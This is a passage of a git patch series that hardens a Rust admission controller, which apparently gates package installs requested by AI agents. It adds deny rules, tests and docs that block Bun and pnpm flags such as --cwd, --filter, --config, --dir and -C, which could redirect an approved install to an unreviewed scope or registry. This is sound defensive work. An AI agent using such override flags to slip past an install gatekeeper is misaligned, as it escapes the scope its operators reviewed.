AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { + for scope_flag in ["--cwd=/tmp/unreviewed", "--filter=./packages/unreviewed"] { + let (policy, mut intent) = bun_install_case(); + intent.argv.push(scope_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {scope_flag} must not move an approved install into an unreviewed workspace scope" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Bun {scope_flag} must produce alternate_install_root" + ); + } +} + +#[test] +fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { + let (policy, mut intent) = bun_install_case(); + intent + .argv + .push("--config=/tmp/unreviewed-bunfig.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --config must not load an unreviewed registry or scope configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun --config must produce alternate_trust_root" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-scope-escape".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From fdb75c2abdeb2b801bc8f44bdc29ecc5e4fcfed9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:43:15 +0900 Subject: [PATCH 088/247] fix(admission): fail closed on Bun scope overrides --- crates/agent-artifact-admission/src/policy.rs | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 72bdbdaf..62b53043 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -173,7 +173,7 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec bool { .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) } -fn requests_alternate_trust_root(arguments: &[String]) -> bool { +fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", "--index-url", @@ -475,7 +475,10 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { FORBIDDEN_FLAGS .iter() .any(|flag| matches_cli_flag(argument, flag)) - }) + }) || (executable == "bun" + && arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--config"))) } fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { @@ -508,13 +511,20 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } - "pnpm" | "bun" => { + "pnpm" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } + "bun" => { + contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter"]) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } "pip" | "pip3" => { contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) } From 23863f0bc52e1a68f866e651628d3949956bac73 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:44:12 +0900 Subject: [PATCH 089/247] test(admission): cover Bun flag aliases and split forms --- .../tests/bun_scope_escape_contract.rs | 58 ++++++++++++------- 1 file changed, 37 insertions(+), 21 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index fe1a2e94..2654d9fd 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -5,48 +5,64 @@ use wardnet_agent_artifact_admission::{ #[test] fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { - for scope_flag in ["--cwd=/tmp/unreviewed", "--filter=./packages/unreviewed"] { + for scope_arguments in [ + vec!["--cwd=/tmp/unreviewed"], + vec!["--cwd", "/tmp/unreviewed"], + vec!["--filter=./packages/unreviewed"], + vec!["--filter", "./packages/unreviewed"], + vec!["-F=./packages/unreviewed"], + vec!["-F", "./packages/unreviewed"], + ] { + let label = scope_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent.argv.push(scope_flag.to_string()); + intent + .argv + .extend(scope_arguments.into_iter().map(str::to_string)); let decision = admission_decision(&policy, &intent); assert_eq!( decision.decision, DecisionKind::Block, - "Bun {scope_flag} must not move an approved install into an unreviewed workspace scope" + "Bun {label} must not move an approved install into an unreviewed workspace scope" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_install_root"), - "Bun {scope_flag} must produce alternate_install_root" + "Bun {label} must produce alternate_install_root" ); } } #[test] fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { - let (policy, mut intent) = bun_install_case(); - intent - .argv - .push("--config=/tmp/unreviewed-bunfig.toml".to_string()); + for config_arguments in [ + vec!["--config=/tmp/unreviewed-bunfig.toml"], + vec!["--config", "/tmp/unreviewed-bunfig.toml"], + ] { + let label = config_arguments.join(" "); + let (policy, mut intent) = bun_install_case(); + intent + .argv + .extend(config_arguments.into_iter().map(str::to_string)); - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!( - decision.decision, - DecisionKind::Block, - "Bun --config must not load an unreviewed registry or scope configuration" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_trust_root"), - "Bun --config must produce alternate_trust_root" - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun {label} must not load an unreviewed registry or scope configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun {label} must produce alternate_trust_root" + ); + } } fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { From 60279df643aa36112e7ec613afdc958ea01aa33a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:46:08 +0900 Subject: [PATCH 090/247] fix(admission): reject Bun filter alias --- crates/agent-artifact-admission/src/policy.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 62b53043..1d16b351 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -519,8 +519,14 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "bun" => { - contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter"]) - || arguments.iter().any(|argument| argument == "--location=global") + contains_flag(&[ + "-g", + "--global", + "--prefix", + "--cwd", + "--filter", + "-F", + ]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) From fa22c4b279c0fbd3e3149b3c8d72c5f0bcbca47f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:47:35 +0900 Subject: [PATCH 091/247] docs(admission): trace Bun scope and config controls --- docs/doctoring/agent-artifact-admission.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 02910487..eef735ff 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -19,6 +19,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | +| Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -68,6 +69,12 @@ npm also documents `ignore-scripts` as a Boolean configuration with default `fal Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. +### Bun working directory, workspace filters and configuration + +Bun's current `bun install` CLI reference exposes `--cwd` to select a working directory and `--config` to select a `bunfig.toml`. Bun's package-filter documentation states that `--filter`, with `-F` as an alias, selects packages by name or path pattern in a monorepo and is supported by `bun install`. These inputs can move an otherwise approved package installation into a caller-selected workspace scope. + +A Bun configuration file is also security-relevant to artifact identity. Bun's registry documentation allows `install.registry` to replace the default package registry and `install.scopes` to configure per-scope private registries. Wardnet therefore rejects caller-supplied Bun `--config` rather than allowing submitted argv to select a second registry authority outside the reviewed artifact coordinate. It rejects `--cwd`, `--filter`, and `-F` as `alternate_install_root` because the broker-selected workspace remains part of admission authority. This does not claim control of Bun's ambient process environment; the execution broker/quarantine boundary must establish a controlled environment before executing an admitted intent. + ## APA 7 references Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ @@ -76,6 +83,10 @@ Astral Software, Inc. (2026). *Using environments: uv documentation.* https://do Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +Bun. (n.d.). *bun install.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/cli/install + +Bun. (n.d.). *Scopes and registries.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/scopes-registries + National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications From 86abdb91e43d154e1e194780c58b29a63bfb0c82 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:47:45 +0900 Subject: [PATCH 092/247] docs(changelog): record Bun admission hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b93cb5c7..4e4e9891 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations - Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 43837309a042a4016b5497bcda25d8e80193f0ef Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:49:10 +0900 Subject: [PATCH 093/247] test(admission): keep Bun argv construction explicit --- .../tests/bun_scope_escape_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index 2654d9fd..058542e3 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -17,7 +17,7 @@ fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { let (policy, mut intent) = bun_install_case(); intent .argv - .extend(scope_arguments.into_iter().map(str::to_string)); + .extend(scope_arguments.into_iter().map(|argument| argument.to_string())); let decision = admission_decision(&policy, &intent); @@ -46,7 +46,7 @@ fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { let (policy, mut intent) = bun_install_case(); intent .argv - .extend(config_arguments.into_iter().map(str::to_string)); + .extend(config_arguments.into_iter().map(|argument| argument.to_string())); let decision = admission_decision(&policy, &intent); From 842f84dd02854fcfcd05d63b9e2e845cb98346c3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:09:37 +0900 Subject: [PATCH 094/247] test(admission): reject pnpm directory escape flags --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index af57d836..d1e2cf0e 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -83,6 +83,29 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { } } +#[test] +fn pnpm_directory_selection_cannot_escape_the_broker_selected_workspace() { + for directory_arguments in [ + vec!["--dir", "/tmp/unreviewed-workspace"], + vec!["--dir=/tmp/unreviewed-workspace"], + vec!["-C", "/tmp/unreviewed-workspace"], + vec!["-C=/tmp/unreviewed-workspace"], + ] { + let mut arguments = vec!["add", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(directory_arguments); + let (policy, intent, label) = install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + #[test] fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { for extra_arguments in [ From 8fbd709bdaf412c7bd5c2804f39c4c33a2a92b2e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:10:51 +0900 Subject: [PATCH 095/247] fix(admission): block pnpm workspace directory overrides --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 1d16b351..c689d4ca 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -512,7 +512,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "pnpm" => { - contains_flag(&["-g", "--global", "--prefix"]) + contains_flag(&["-g", "--global", "--prefix", "--dir", "-C"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") From eec758bdbd1b16c5c1dafa2efa96d5ccab9a5dbb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:11:52 +0900 Subject: [PATCH 096/247] docs(changelog): record pnpm directory fail-closed policy --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e4e9891..191304f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 2281586ad6cf6d89bc42b6ae5629189b7b5cb1fb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:12:35 +0900 Subject: [PATCH 097/247] docs(security): trace pnpm directory authority --- docs/doctoring/agent-artifact-admission.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index eef735ff..d53a11f0 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,6 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | +| Reject pnpm working-directory overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and accepts it before or after the subcommand; its dispatch path resolves project configuration from that directory | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -65,6 +66,10 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +### pnpm working-directory authority + +pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. Wardnet maps both spellings, including attached-value forms, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory outside submitted argv. + ### Yarn Classic workspace-root override Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. @@ -99,6 +104,10 @@ npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-ins pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ +pnpm contributors. (2026). *CLI command arguments: `--dir` / `-C` working-directory option* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs + +pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs + Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html From 875ec628a4203e52f7cd59892db518618e5dbe97 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:13:48 +0900 Subject: [PATCH 098/247] test(admission): reject pnpm workspace selectors --- .../tests/pnpm_scope_escape_contract.rs | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs new file mode 100644 index 00000000..703c3010 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -0,0 +1,90 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_workspace_selectors_cannot_expand_the_broker_selected_scope() { + for scope_arguments in [ + vec!["--filter=@cwl/unreviewed"], + vec!["-F=@cwl/unreviewed"], + vec!["--filter-prod=@cwl/unreviewed"], + vec!["--workspace-root"], + vec!["-w"], + vec!["--recursive"], + vec!["-r"], + vec!["--include-workspace-root"], + ] { + let (policy, intent, label) = pnpm_case(&scope_arguments); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not widen an approved install to caller-selected workspace projects" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); + } +} + +fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, String) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ]; + argv.extend(scope_arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: "req-pnpm-workspace-scope".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: 